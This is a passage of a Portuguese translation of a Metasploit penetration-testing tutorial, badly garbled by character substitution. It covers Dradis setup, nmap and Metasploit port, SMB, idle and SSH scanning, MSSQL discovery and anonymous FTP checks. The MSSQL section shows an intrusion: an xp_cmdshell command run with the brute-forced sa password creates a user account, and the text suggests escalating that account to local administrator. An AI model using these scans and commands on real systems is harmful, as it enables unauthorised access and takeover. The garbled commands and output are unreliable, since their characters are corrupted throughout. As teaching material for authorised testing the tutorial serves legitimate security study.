rootS+t=: $ ,0entest,mis ,$ra$is,ser-er rootS+t=: ru+y 5,s ri0t,ser-er ?2 Bootin* #'Bri 1555 ?2 Rails a00li ation starte$ on .tt0s:,,lo al.ost:A@@= ?2 Dtrl3D to s.ut$o%n ser-erV all %it. 33.el0 for o0tions 7!@@43@63!4 1A:=@:(@9 ;<LO #'Bri 1 15A51 7!@@43@63!4 1A:=@:(@9 ;<LO ru+y 1565H (!@@63@6311) 7i=6)3linux9 7!@@43@63!4 1A:=@:(@9 ;<LO

; Offensive %ecurit< =..> ?raduzido por @afael ?orres

Enfim, estamos prontos para abrir a interface #eb 3radis. 0avegar para ttpsL D D local ostL I..+ou use o endereo E2,, aceitar o aviso de certificado, digite uma sen a novo servidor, (uando solicitado, e login usando a sen a definida no passo anterior. 0ote (ue no nomes para definir isso no login, voc pode usar (ual(uer nome de login (ue voc gosta. %e tudo correr bem, voc ser presenteado com o espao de trabal o 3radis principal.

0o lado es(uerdo voc pode criar uma estrutura de rvore. 9se&o para organizar suas informa6es +por eAemploL osts, sub&redes, servios, etc., 0o lado direito voc pode adicionar as informa6es pertinentes a cada elemento +ac o notas ou aneAos,. Antes de iniciar a 3radis console, voc precisar editar o ar(uivo Kdradis.Aml 1para refletir o nome de usurio e sen a (ue voc definiu (uando inicialmente eAecutando o servidor. Este ar(uivo pode ser localizado no bac$trac$- em KDpentestDmiscD3radisDclienteDconf. 8oc pode agora lanar o console 3radis emitindo o seguinte comando a partir do 1pentest misc D 3radis DclienteDKdiret/rioL

; Offensive %ecurit< =..> ?raduzido por @afael ?orres

rootS+t=:,0entest,mis ,$ra$is, lientT ru+y 5,$ra$is5r+ e-ent(s) re*istere$: 7:ex e0tion9 Re*istere$ o+ser-ers: W:ex e0tion?27T $ra$is2

2ort %canning
Embora 4 instalados e configurados 3radis para armazenar nossas notas e resultados, ainda uma boa prtica criar um novo banco de dados de dentro !etasploit (ue os dados ainda podem ser 'teis para ter rpida recuperao e para uso em situa6es de ata(ue determinado.
msf 2 $+> reate 789 Dreatin* a ne% $ata+ase instan e555 789 Su essfully onne te$ to t.e $ata+ase 789 Lile: ,root,5msfA,sqliteA5$+ msf 2 loa$ $+>tra 1er 789 Su essfully loa$e$ 0lu*in: $+>tra 1er msf 2 .el0 555sni0555 Eata+ase Ba 1en$ Domman$s ????????????????????????? Domman$ 3333333 $+>a$$>.ost $+>a$$>note $+>a$$>0ort $+>auto0%n $+> onne t $+> reate $+>$el>.ost $+>$el>0ort $+>$estroy $+>$is onne t $+>$ri-er $+>.osts $+>im0ort>ama0>mlo* $+>im0ort>nessus>n+e $+>im0ort>nessus>xml $+>im0ort>nma0>xml $+>nma0 $+>notes $+>ser-i es $+>-ulns msf 2 Ees ri0tion 33333333333 A$$ one or more .osts to t.e $ata+ase A$$ a note to .ost A$$ a 0ort to .ost Automati ally ex0loit e-eryt.in* Donne t to an existin* $ata+ase Dreate a +ran$ ne% $ata+ase Eelete one or more .osts from t.e $ata+ase Eelete one 0ort from t.e $ata+ase Ero0 an existin* $ata+ase Eis onne t from t.e urrent $ata+ase instan e S0e ify a $ata+ase $ri-er List all .osts in t.e $ata+ase ;m0ort a THD3Ama0 s an results file (3o 3m) ;m0ort a <essus s an result file (<B') ;m0ort a <essus s an result file (<'SS&S) ;m0ort a <ma0 s an results file (3oK) 'xe utes nma0 an$ re or$s t.e out0ut automati ally List all notes in t.e $ata+ase List all ser-i es in t.e $ata+ase List all -ulnera+ilities in t.e $ata+ase

2odemos usar o 1db[nmap Kcomando para eAecutar uma varredura 0map contra os nossos ob4ectivos e (ue os resultados da verificao armazenados no banco de dados recm criado, no entanto, !etasploit s/ ir criar o ar(uivo de sa5da C!G como (ue o formato (ue ele usa para preenc er o banco de dados en(uanto (ue 3radis pode importar tanto a sa5da para o grep ou normal. Q sempre bom ter todas as trs sa5das do 0map +Aml, grep e normal,, para (ue possamos eAecutar o 0map digitalizar usando o sinalizador K&oAK para gerar a sa5da de trs ar(uivos, em seguida, emitir o 1db[import[nmap[Aml comando Kpara preenc er o banco de dados do !etasploit . %e voc no (uiser importar os seus resultados em 3radis, basta eAecutar o 0map usando Kdb[nmap 1com as op6es (ue voc usaria normalmente, omitindo&se a bandeira de sa5da. O eAemplo a seguir ; Offensive %ecurit< =..> ?raduzido por @afael ?orres

seria, ento, 1db[nmap&v&s8 T>=.T\].T..D=-.


msf 2 nma0 3- 3sJ 14!51)6515@,!= 3oA su+net>1 789 exe : nma0 3- 3sJ 14!51)6515@,!= 3oA su+net>1 Startin* <ma0 (5@@ ( .tt0:,,nma05or* ) at !@@43@631A 14:!4 MET <S': Loa$e$ A s ri0ts for s annin*5 ;nitiatin* AR" "in* S an at 14:!4 S annin* 1@1 .osts 71 0ort,.ost9 555 <ma0 $one: !() ;" a$$resses (1) .osts u0) s anne$ in =445=1 se on$s Ra% 0a 1ets sent: 144HA (6HH56!!XB) Y R -$: 1(1!( ()@45(1!XB)

*om o scan terminado n/s vamos emitir o 1db[import[nmap[Aml Kcomando para importar o ar(uivo C!G do 0map. !sf = db>i!po t>n!ap>"!l s3bnet>16"!l Os @esultados importados podem ser vistos atravs do db[ osts KeK db[services KcomandosL
msf 789 789 789 789 555 2 $+>.osts Time: T.u Au* Time: T.u Au* Time: T.u Au* Time: T.u Au* 1A 1A 1A 1A 14:A4:@( 14:A4:@( 14:A4:@( 14:A4:@( 3@)@@ 3@)@@ 3@)@@ 3@)@@ !@@4 !@@4 !@@4 !@@4 Host: Host: Host: Host: 14!51)65151 Status: ali-e OS: 14!51)6515! Status: ali-e OS: 14!51)65151@ Status: ali-e OS: 14!51)65151@@ Status: ali-e OS:

msf 2 $+>ser-i es 789 Time: T.u Au* name?ss. 789 Time: T.u Au* name?telnet 789 Time: T.u Au* name?.tt0 789 Time: T.u Au* name?telnet 555

1A 14:A4:@( 3@)@@ !@@4 Ser-i e: .ost?14!51)65151 0ort?!! 0roto?t 0 state?u0 1A 14:A4:@( 3@)@@ !@@4 Ser-i e: .ost?14!51)65151 0ort?!A 0roto?t 0 state?u0 1A 14:A4:@( 3@)@@ !@@4 Ser-i e: .ost?14!51)65151 0ort?6@ 0roto?t 0 state?u0 1A 14:A4:@( 3@)@@ !@@4 Ser-i e: .ost?14!51)6515! 0ort?!A 0roto?t 0 state?u0

Agora estamos prontos para importar os nossos resultados em 3radis mudando para o terminal onde temos a 3radis console em eAecuo e de emisso do 1import nmap Kde comando.
$ra$is2 im0ort nma0 ,0entest,ex0loits,frame%or1A,su+net>15nma0 normal T.ere .as +een an ex e0tion: 7error9 un$efine$ met.o$ Zea .' for nil:<ilDlass ,0entest,ex0loits,frame%or1A,su+net>15nma0 %as su essfully im0orte$ $ra$is2

; Offensive %ecurit< =..> ?raduzido por @afael ?orres

%e voc mudar a sua interface #eb 3radis e atualizar a eAibio, voc ver os resultados do 0map importados varredura em um formato fcil de navegar em rvore.

Notes on Scanners an# Au7i&iar: Mo#u&es


%canners e mais outros m/dulos auAiliares use a opo r osts em vez de @)O%?. @ osts pode ter intervalos de E2 +T>=.T\].T.=.&T>=.T\].T.I.,, os intervalos *E3@ +T>=.T\].T..D=-,, vrios intervalos separados por v5rgulas +T>=.T\].T..D=-, T>=.T\].I..D=-,, ea lin a de lista de osts separados ar(uivos +fileL D tmp D ostlist.tAt,. Este um outro uso para o nosso ar(uivo de sa5da para o grep do 0map. 0ote tambm (ue, por padro, todos os m/dulos de scanner ter o valor "EO% definido para KT K. O valor "EO% define o n'mero de t reads simultFneos para usar durante a digitalizao. 3efina esse valor para um n'mero maior, a fim de acelerar o seu scans ou mant&la baiAa, a fim de reduzir o trfego de rede, mas no se es(uea de respeitar as seguintes orienta6esL M !anter o valor de T\ GE0)A% em sistemas BinI= nativo M !anten a "EO% menos de =.. (uando estiver eAecutando !%" em *<g#in M Em sistemas operacionais 9niA&li$e, fios pode ser configurado para =N\. 2ort %canning Alm de eAecutar o 0map, uma variedade de scanners de portas de outros (ue esto dispon5veis para n/s no (uadro.
msf 2 sear . 0orts an 789 Sear .in* loa$e$ mo$ules for 0attern '0orts an'555

; Offensive %ecurit< =..> ?raduzido por @afael ?orres

Auxiliary ????????? <ame 3333 s anner,0orts s anner,0orts s anner,0orts s anner,0orts s anner,0orts Ees ri0tion 33333333333 TD" ADX Lire%all S anner LT" Boun e "ort S anner TD" SM< "ort S anner TD" "ort S anner TD" "KMas" "ort S anner

an,a 1 an,ft0+oun e an,syn an,t 0 an,xmas

2ara efeitos de comparao, vamos comparar o nosso 0map resultados de varredura para a porta ]. com um m/dulo de digitalizao !etasploit. 2rimeiro, vamos determinar (uais osts tin a ]. porta aberta de acordo com o 0map.
msf 2 at su+net>15*nma0 Y *re0 6@,o0en Y a%1 'W0rint [!\' 789 exe : at su+net>15*nma0 Y *re0 6@,o0en Y a%1 'W0rint [!\' 14!51)65151 14!51)6515! 14!51)65151@ 14!51)65151@4 14!51)651511) 14!51)65151(@

O 0map scan n/s eAecutamos anteriormente era um scan %^0, ento vamos eAecutar o scan mesmo em toda a sub&rede ol ando para a porta ]. atravs de nossa interface et . usando o !etasploit.

msf 2 use s anner,0orts an,syn msf auxiliary(syn) 2 s.o% o0tions Mo$ule o0tions: <ame 3333 BATDHS;]' ;<T'RLAD' "ORTS RHOSTS THR'AES T;M'O&T Durrent Settin* 333333333333333 !() 131@@@@ 1 (@@ Require$ 33333333 yes no yes yes yes yes Ees ri0tion 33333333333 T.e num+er of .osts to s an 0er set T.e name of t.e interfa e "orts to s an (e5*5 !!3!(B6@B11@34@@) T.e tar*et a$$ress ran*e or D;ER i$entifier T.e num+er of on urrent t.rea$s T.e re0ly rea$ timeout in millise on$s

msf auxiliary(syn) 2 set ;<T'RLAD' ?2 et.@ msf auxiliary(syn) 2 set "ORTS ?2 6@ msf auxiliary(syn) 2 set RHOSTS ?2 14!51)6515@,!= msf auxiliary(syn) 2 set THR'AES ?2 (@ msf auxiliary(syn) 2 run 789 789 789 789 789 789 TD" TD" TD" TD" TD" TD" O"'< O"'< O"'< O"'< O"'< O"'<

;<T'RLAD' et.@ "ORTS 6@ RHOSTS 14!51)6515@,!= THR'AES (@

14!51)65151:6@ 14!51)6515!:6@ 14!51)65151@:6@ 14!51)65151@4:6@ 14!51)651511):6@ 14!51)65151(@:6@

; Offensive %ecurit< =..> ?raduzido por @afael ?orres

789 Auxiliary mo$ule exe ution

om0lete$

Assim, podemos ver (ue !etasploitKs built&in m/dulos scanner so mais capazes de encontrar sistemas e abrir a porta para n/s. Q apenas uma ferramenta eAcelente para ter no seu arsenal, se acontecer de voc estar eAecutando o !etasploit em um sistema sem 0map instalado.

SM9 6ersion Scannin'


Agora (ue n/s determinamos (ue osts esto dispon5veis na rede, pode&se tentar determinar (uais sistemas operacionais esto funcionando. Esso nos a4udar a diminuir nossos ata(ues para atingir um sistema espec5fico e nos impede de perder tempo com a(ueles (ue no esto vulnerveis a uma eAplorao particular. 9ma vez (ue eAistem muitos sistemas em nossa pes(uisa (ue a porta --N aberta, vamos usar o Kscanner smb D verso D m/duloK para determinar (ual verso do Bindo#s est sendo eAecutado em um alvo e (ual a verso do %amba est em um ost GinuA.
msf 2 use s anner,sm+,-ersion msf auxiliary(-ersion) 2 set RHOSTS 14!51)6515@,!= RHOSTS ?2 14!51)6515@,!= msf auxiliary(-ersion) 2 set THR'AES (@ THR'AES ?2 (@ msf auxiliary(-ersion) 2 run 789 789 789 789 789 789 789 789 14!51)65151@@ is 14!51)651511) is 14!51)65151!1 is 14!51)65151(1 is 14!51)6515111 is 14!51)651511= is 14!51)65151!= is Auxiliary mo$ule runnin* #in$o%s H 'nter0rise (Buil$ H)@@) (lan*ua*e: &n1no%n) runnin* &nix Sam+a A5@5!! (lan*ua*e: &n1no%n) runnin* #in$o%s H &ltimate (Buil$ H1@@) (lan*ua*e: &n1no%n) runnin* #in$o%s !@@A R! Ser-i e "a 1 ! (lan*ua*e: &n1no%n) runnin* #in$o%s K" Ser-i e "a 1 A (lan*ua*e: 'n*lis.) runnin* #in$o%s K" Ser-i e "a 1 ! (lan*ua*e: 'n*lis.) runnin* #in$o%s K" Ser-i e "a 1 A (lan*ua*e: 'n*lis.) exe ution om0lete$

Alm disso, observe (ue, se emitir o comando Kdb[ ostsK agora, as informa6es recm&ad(uiridas so armazenadas no banco de dados do !etasploit.
msf auxiliary(-ersion) 2 $+>.osts 789 Time: T.u Au* 1A 14:A4:@( 3@)@@ 789 Time: T.u Au* 1A 14:A4:@( 3@)@@ 789 Time: T.u Au* 1A 14:A4:@( 3@)@@ 789 Time: T.u Au* 1A 14:A4:@( 3@)@@ 'nter0rise 789 Time: T.u Au* 1A 14:A4:@) 3@)@@ 789 Time: T.u Au* 1A 14:A4:@) 3@)@@ 789 Time: T.u Au* 1A 14:A4:@) 3@)@@ 789 Time: T.u Au* 1A 14:A4:@) 3@)@@ 789 Time: T.u Au* 1A 14:A4:@) 3@)@@ 789 Time: T.u Au* 1A 14:A4:@) 3@)@@ &ltimate 789 Time: T.u Au* 1A 14:A4:@) 3@)@@ 789 Time: T.u Au* 1A 14:A4:@) 3@)@@ 789 Time: T.u Au* 1A 14:A4:@) 3@)@@ 789 Time: T.u Au* 1A 14:A4:@) 3@)@@ 789 Time: T.u Au* 1A 14:A4:@) 3@)@@ !@@A R! !@@4 !@@4 !@@4 !@@4 !@@4 !@@4 !@@4 !@@4 !@@4 !@@4 !@@4 !@@4 !@@4 !@@4 !@@4 Host: Host: Host: Host: Host: Host: Host: Host: Host: Host: Host: Host: Host: Host: Host: 14!51)65151 Status: ali-e OS: 14!51)6515! Status: ali-e OS: 14!51)65151@ Status: ali-e OS: 14!51)65151@@ Status: ali-e OS: #in$o%s #in$o%s H 14!51)65151@= 14!51)65151@4 14!51)6515111 14!51)651511= 14!51)651511) 14!51)65151!1 14!51)65151!A 14!51)65151!= 14!51)65151AH 14!51)65151(@ 14!51)65151(1 Status: Status: Status: Status: Status: Status: Status: Status: Status: Status: Status: ali-e ali-e ali-e ali-e ali-e ali-e ali-e ali-e ali-e ali-e ali-e OS: OS: OS: OS: OS: OS:

#in$o%s #in$o%s &n1no%n #in$o%s

#in$o%s K" #in$o%s K" &nix #in$o%s H

OS: OS: #in$o%s #in$o%s K" OS: OS: OS: #in$o%s #in$o%s

; Offensive %ecurit< =..> ?raduzido por @afael ?orres

I#&e Scannin'
E2E3 0map Edlescan nos permite ser um pouco digitalizao stealt < um alvo en(uanto spoofing do endereo E2 de outro ost na rede. 2ara (ue este tipo de verificao para o trabal o, teremos de encontrar uma m(uina (ue est ociosa na rede e usa E2E3 se(Sncias de uma ou Encremental Encremental Gittle&Endian Pro$en. !etasploit contm o m/dulo scanner KD ip D ipidse(K para digitalizar e ol ar para uma m(uina (ue se adapta 7s eAigncias. 2ara mais informa6es sobre Edlescan com o 0map, consulte ttpLDDnmap.orgDboo$Didlescan. tml
msf auxiliary(%rita+le) 2 use s anner,i0,i0i$seq msf auxiliary(i0i$seq) 2 s.o% o0tions Mo$ule o0tions: <ame 3333 RHOSTS R"ORT THR'AES T;M'O&T Durrent Settin* 333333333333333 6@ 1 (@@ Require$ 33333333 yes yes yes yes Ees ri0tion 33333333333 T.e tar*et a$$ress ran*e or D;ER i$entifier T.e tar*et 0ort T.e num+er of on urrent t.rea$s T.e re0ly rea$ timeout in millise on$s

msf auxiliary(i0i$seq) 2 set RHOSTS 14!51)6515@,!= RHOSTS ?2 14!51)6515@,!= msf auxiliary(i0i$seq) 2 set THR'AES (@ THR'AES ?2 (@ msf auxiliary(i0i$seq) 2 run 789 789 789 789 789 789 789 789 789 789 789 789 789 14!51)65151's ;";E sequen e lass: All Ieros 14!51)6515!'s ;";E sequen e lass: ;n remental/ 14!51)65151@'s ;";E sequen e lass: ;n remental/ 14!51)65151@='s ;";E sequen e lass: Ran$omiIe$ 14!51)65151@4's ;";E sequen e lass: ;n remental/ 14!51)6515111's ;";E sequen e lass: ;n remental/ 14!51)651511='s ;";E sequen e lass: ;n remental/ 14!51)651511)'s ;";E sequen e lass: All Ieros 14!51)65151!='s ;";E sequen e lass: ;n remental/ 14!51)65151!A's ;";E sequen e lass: ;n remental/ 14!51)65151AH's ;";E sequen e lass: All Ieros 14!51)65151(@'s ;";E sequen e lass: All Ieros 14!51)65151(1's ;";E sequen e lass: ;n remental/ om0leted

789 Auxiliary mo$ule exe ution

A 4ulgar pelos resultados de nosso eAame, temos uma srie de zumbis potencial (ue podemos utilizar para realizar a digitalizao ocioso. 8amos tentar digitalizar um ost com o zumbi no T>=.T\].T.T.> e ver se obtemos os mesmos resultados (ue tivemos anteriormente.
msf auxiliary(i0i$seq) 2 nma0 3"< 3s; 14!51)65151@4 14!51)651511= 789 exe : nma0 3"< 3s; 14!51)65151@4 14!51)651511= Startin* <ma0 (5@@ ( .tt0:,,nma05or* ) at !@@43@631= @(:(1 MET ;$le s an usin* Iom+ie 14!51)65151@4 (14!51)65151@4:6@)V Dlass: ;n remental ;nterestin* 0orts on 14!51)651511=: <ot s.o%n: 44) lose$Yfiltere$ 0orts "ORT STAT' S'RJ;D' 1A(,t 0 o0en msr0 1A4,t 0 o0en net+ios3ssn ==(,t 0 o0en mi rosoft3$s AA64,t 0 o0en ms3term3serMAD A$$ress: @@:@D:!4:=1:L!:'6 (JM%are)

; Offensive %ecurit< =..> ?raduzido por @afael ?orres

<ma0 $one: 1 ;" a$$ress (1 .ost u0) s anne$ in (5() se on$s

Huntin' 0or MSS;L


9ma das min as favoritas a 932 avanado footprinting de servidores !%%HG. %e voc estiver realizando um teste de penetrao interna este um deve usar a ferramenta. Huando !%%HG instala, ele instala ou na porta ?*2 T-II ou um acaso da porta ?*2 dinFmicas. %e a porta gerado dinamicamente, isso pode ser bastante complicado para um atacante para encontrar os servidores !%%HG ao ata(ue. "elizmente com a !icrosoft, (ue nos abenoou com a porta T-I- 932 (ue, uma vez consultada permite (ue voc puAe um pouco de informa6es sobre o %HG %erver, incluindo a porta (ue o ouvinte est no ?*2. 8amos carregar o m/dulo e us&lo para descobrir vrios servidores.
msf 2 sear . mssql 789 Sear .in* loa$e$ mo$ules for 0attern 'mssql'555 'x0loits ???????? <ame 3333 %in$o%s,mssql,lyris>listmana*er>%ea1>0ass %in$o%s,mssql,ms@!>@A4>slammer %in$o%s,mssql,ms@!>@()>.ello %in$o%s,mssql,mssql>0ayloa$ Auxiliary ????????? <ame 3333 a$min,mssql,mssql>enum a$min,mssql,mssql>exe a$min,mssql,mssql>sql s anner,mssql,mssql>lo*in s anner,mssql,mssql>0in* Ees ri0tion 33333333333 Mi rosoft S^L Ser-er Donfi*uration 'numerator Mi rosoft S^L Ser-er x0> m$s.ell Domman$ 'xe ution Mi rosoft S^L Ser-er Generi ^uery MSS^L Lo*in &tility MSS^L "in* &tility Ees ri0tion 33333333333 Lyris ListMana*er MSE' #ea1 sa "ass%or$ Mi rosoft S^L Ser-er Resolution O-erflo% Mi rosoft S^L Ser-er Hello O-erflo% Mi rosoft S^L Ser-er "ayloa$ 'xe ution

msf 2 use s anner,mssql,mssql>0in* msf auxiliary(mssql>0in*) 2 s.o% o0tions Mo$ule o0tions: <ame 3333 RHOSTS THR'AES Durrent Settin* 333333333333333 1 Require$ 33333333 yes yes Ees ri0tion 33333333333 T.e tar*et a$$ress ran*e or D;ER i$entifier T.e num+er of on urrent t.rea$s

msf auxiliary(mssql>0in*) 2 set RHOSTS 1@5!115((51,!= RHOSTS ?2 1@5!115((51,!= msf auxiliary(mssql>0in*) 2 ex0loit 789 789 789 789 789 789 789 789 S^L Ser-er information for 1@5!115((51!6: t 0 ? 1=AA n0 ? SSHADXTH;SBOK3@0i0esqlquery Jersion ? 65@@514= ;nstan e<ame ? MSS^LS'RJ'R ;sDlustere$ ? <o Ser-er<ame ? SSHADXTH;SBOK3@ Auxiliary mo$ule exe ution om0lete$

; Offensive %ecurit< =..> ?raduzido por @afael ?orres

O primeiro comando (ue foi emitida a procura de (ual(uer Kmss(lK plugins. O segundo con4unto de instru6es foi o Kscanner use D mss(l D mss(l[ping, este ir carregar o m/dulo scanner para n/s. Em seguida, 1mostrar op6es1 permite&nos ver o (ue n/s precisamos especificar. O Kset r osts T..=TT.NN.TD=-K define o intervalo de sub&rede (ue (ueremos comear a ol ar para servidores de %HG. 8oc pode especificar um D T\ ou o (ue voc (uer ir depois. Eu recomendaria aumentar o n'mero de t/picos, pois isso pode levar um longo tempo com um scanner 'nico t read. Ap/s o comando 1eAecutar1 emitido, um eAame vai ser realizado e puAar informa6es espec5ficas sobre o servidor !%%HG. *omo podemos ver, o nome da m(uina 1%%)A*U?)E%POC&.1 ea porta ?*2 est sendo eAecutado em T-II. m/dulo 0esse ponto, voc poderia usar o Kscanner mss(l D mss(l[login DK a fora bruta a sen a, passando o ar(uivo de um m/dulo de dicionrio. Alternativamente, voc tambm pode usar "ast&?rac$, medusa, ou <dra para fazer isso. 9ma vez (ue voc conseguiu adivin ar a sen a, no um m/dulo pe(ueno puro para eAecutar o Ap[cmds ell procedimento armazenado.
msf auxiliary(mssql>lo*in) 2 use a$min,mssql,mssql>exe msf auxiliary(mssql>exe ) 2 s.o% o0tions Mo$ule o0tions: <ame Durrent Settin* 3333 333333333333333 DME m$5exe , e .o O#<'E 2 D:Uo%ne$5exe H'K!B;<ARM ,0entest,ex0loits,frame%or1A,$ata,ex0loits,mssql,.!+ .ex!+inary s ri0t on t.e $is1 MSS^L>"ASS s0e ifie$ username MSS^L>&S'R sa aut.enti ate as RHOST R"ORT 1=AA msf auxiliary(mssql>exe ) 2 set RHOST 1@5!115((51!6 RHOST ?2 1@5!115((51!6 msf auxiliary(mssql>exe ) 2 set MSS^L>"ASS 0ass%or$ MSS^L>"ASS ?2 0ass%or$ msf auxiliary(mssql>exe ) 2 set DME net user rel11 i.aI0ass%or$ ,AEE m$ ?2 net user rel11 i.aI0ass%or$ ,AEE msf auxiliary(mssql>exe ) 2 ex0loit T.e omman$ om0lete$ su essfully5 om0lete$ Require$ 33333333 no no no no yes yes Ees ri0tion 33333333333 Domman$ to exe ute T.e 0at. to t.e T.e 0ass%or$ for t.e T.e username to T.e tar*et a$$ress T.e tar*et 0ort

789 Auxiliary mo$ule exe ution

Ol ando a sa5da do Ki azpass#ord relT$ net user D add 1, (ue foi adicionado com sucesso uma conta de usurio c amado1 relT$ 1, a partir da5, poder5amos emitir1 net localgroup administradores relT$ D A33K para obter um administrador local no sistema em si. 0/s temos o controle total sobre o sistema neste momento.

Ser(ice I#enti0ication
!ais uma vez, 7 eAcepo de usar o 0map para realizar a digitalizao dos servios em nossa rede de destino, !etasploit tambm inclui uma grande variedade de scanners para vrios servios, muitas vezes, a4ud&lo a determinar potencialmente vulnerveis servios rodando em m(uinas& alvo. ; Offensive %ecurit< =..> ?raduzido por @afael ?orres

msf auxiliary(t 0) 2 sear . auxiliary _s anner 789 Sear .in* loa$e$ mo$ules for 0attern '_s anner'555 Auxiliary ????????? <ame 3333 s anner,$+!,$is o-ery s anner,$ er0 ,en$0oint>ma00er s anner,$ er0 ,.i$$en s anner,$ er0 ,mana*ement s anner,$ er0 ,t 0>$ er0 >au$itor s anner,$e t, all>s anner s anner,$e t,station>s anner s anner,$is o-ery,ar0>s%ee0 s anner,$is o-ery,s%ee0>u$0 s anner,em ,al0.astor>$e-i emana*er s anner,em ,al0.astor>li+rarymana*er s anner,ft0,anonymous s anner,.tt0,front0a*e s anner,.tt0,front0a*e>lo*in s anner,.tt0,lu 1y>0un . s anner,.tt0,ms@4>@!@>%e+$a->uni o$e>+y0ass s anner,.tt0,o0tions s anner,.tt0,-ersion 555sni0555 s anner,i0,i0i$seq s anner,mis ,i+>ser-i e>m*r>info s anner,motorola,tim+u1tu>u$0 s anner,mssql,mssql>lo*in s anner,mssql,mssql>0in* s anner,mysql,-ersion s anner,nfs,nfsmount s anner,ora le,em >si$ s anner,ora le,si$>enum s anner,ora le,s0y>si$ 'numeration5 s anner,ora le,tnslsnr>-ersion s anner,ora le,x$+>si$ 555sni0555 s anner,si0,enumerator s anner,si0,o0tions s anner,sm+,lo*in s anner,sm+,0i0e>au$itor s anner,sm+,0i0e>$ er0 >au$itor s anner,sm+,sm+! s anner,sm+,-ersion s anner,smt0,smt0>+anner s anner,snm0,aix>-ersion s anner,snm0, ommunity s anner,ss.,ss.>-ersion s anner,tele0.ony,%ar$ial s anner,tft0,tft0+rute s anner,-n ,-n >none>aut. s anner,x11,o0en>x11 Ees ri0tion 33333333333 EB! Eis o-ery Ser-i e Eete tion5 'n$0oint Ma00er Ser-i e Eis o-ery Hi$$en ED'R"D Ser-i e Eis o-ery Remote Mana*ement ;nterfa e Eis o-ery ED'R"D TD" Ser-i e Au$itor E'DT Dall S anner E'DT Base Station S anner AR" S%ee0 Lo al <et%or1 Eis o-ery &E" Ser-i e S%ee0er 'MD Al0.aStor Ee-i e Mana*er Ser-i e5 'MD Al0.aStor Li+rary Mana*er Ser-i e5 Anonymous LT" A ess Eete tion Lront"a*e Ser-er 'xtensions Eete tion Lront"a*e Ser-er 'xtensions Lo*in &tility HTT" Mi rosoft S^L ;nGe tion Ta+le KSS ;nfe tion MS@43@!@ ;;S) #e+EAJ &ni o$e Aut. By0ass HTT" O0tions Eete tion HTT" Jersion Eete tion ;";E Sequen e S anner Borlan$ ;nterBase Ser-i es Mana*er ;nformation Motorola Tim+u1tu Ser-i e Eete tion5 MSS^L Lo*in &tility MSS^L "in* &tility MyS^L Ser-er Jersion 'numeration <LS Mount S anner Ora le 'nter0rise Mana*er Dontrol S;E Eis o-ery S;E 'numeration5 Ora le A00li ation Ser-er S0y Ser-let S;E Ora le tnslsnr Ser-i e Jersion ^uery5 Ora le KML EB S;E Eis o-ery S;" username enumerator S;" 'n$0oint S anner SMB Lo*in D.e 1 S anner SMB Session "i0e Au$itor SMB Session "i0e ED'R"D Au$itor SMB !5@ "roto ol Eete tion SMB Jersion Eete tion SMT" Banner Gra++er A;K S<M" S anner Auxiliary Mo$ule S<M" Dommunity S anner SSH Jersion S annner #ar$ialer TLT" Brute Lor er J<D Aut.enti ation <one Eete tion K11 <o3Aut. S anner

0osso port scan apareceram algumas m(uinas com a porta ?*2 == em aberto. %%) muito seguro, mas as vulnerabilidades no so descon ecidos e (ue sempre vale a pena reunir tanta informao (uanto poss5vel de seus alvos. 8amos colocar a nossa sa5da para o grep de fic eiros a utilizar para este eAemplo, analisar as m(uinas (ue tm a porta == aberta e pass&lo para 1r osts.
msf auxiliary(ar0>s%ee0) 2 use s anner,ss.,ss.>-ersion msf auxiliary(ss.>-ersion) 2 s.o% o0tions Mo$ule o0tions:

; Offensive %ecurit< =..> ?raduzido por @afael ?orres

<ame 3333 RHOSTS R"ORT THR'AES

Durrent Settin* 333333333333333 !! 1

Require$ 33333333 yes yes yes

Ees ri0tion 33333333333 T.e tar*et a$$ress ran*e or D;ER i$entifier T.e tar*et 0ort T.e num+er of on urrent t.rea$s

msf auxiliary(ss.>-ersion) 2 at su+net>15*nma0 Y *re0 !!,o0en Y a%1 'W0rint [!\' 2 ,tm0,!!>o0en5txt 789 exe : at su+net>15*nma0 Y *re0 !!,o0en Y a%1 'W0rint [!\' 2 ,tm0,!!>o0en5txt msf auxiliary(ss.>-ersion) 2 set RHOSTS file:,tm0,!!>o0en5txt RHOSTS ?2 file:,tm0,!!>o0en5txt msf auxiliary(ss.>-ersion) 2 set THR'AES (@ THR'AES ?2 (@ msf auxiliary(ss.>-ersion) 2 run 789 14!51)65151:!!B SSH ser-er -ersion: SSH3!5@3$ro0+ear>@5(! 789 14!51)65151AH:!!B SSH ser-er -ersion: SSH315443O0enSSH>=5= 789 Auxiliary mo$ule exe ution om0lete$

!al configurados servidores "?2 podem fre(uentemente ser o ponto de apoio (ue voc precisa para gan ar acesso a uma rede inteira por isso sempre vale a pena verificar para ver se o acesso an_nimo permitido sempre (ue voc encontrar uma porta "?2 aberto (ue normalmente a porta ?*2 =T. 8amos definir as lin as para T. a(ui como estamos indo s/ para verificar um intervalo de T. osts.
msf 2 use s anner,ft0,anonymous msf auxiliary(anonymous) 2 set RHOSTS 14!51)6515!@314!51)6515A@ RHOSTS ?2 14!51)6515!@314!51)6515A@ msf auxiliary(anonymous) 2 set THR'AES 1@ THR'AES ?2 1@ msf auxiliary(anonymous) 2 s.o% o0tions Mo$ule o0tions: <ame 3333 LT""ASS LT"&S'R RHOSTS R"ORT THR'AES Durrent Settin* 333333333333333 moIillaSexam0le5 om anonymous !1 1 Require$ 33333333 no no yes yes yes Ees ri0tion 33333333333 T.e 0ass%or$ for t.e s0e T.e username to aut.enti T.e tar*et a$$ress ran*e T.e tar*et 0ort T.e num+er of on urrent

ifie$ username ate as or D;ER i$entifier t.rea$s

msf auxiliary(anonymous) 2 run 789 14!51)6515!A:!1 Anonymous R'AE (!!@ (-sLT"$ 1515A)) 789 Re or$in* su essful LT" re$entials for 14!51)6515!A 789 Auxiliary mo$ule exe ution om0lete$

Em um curto espao de tempo e com muito pouco trabal o, somos capazes de ad(uirir uma grande (uantidade de informa6es sobre os osts (ue residem em nossa rede, portanto, fornecer&nos uma imagem muito mel or do (ue estamos enfrentando na realizao de nosso teste de penetrao ..

; Offensive %ecurit< =..> ?raduzido por @afael ?orres

Pass%or# Sni00in'
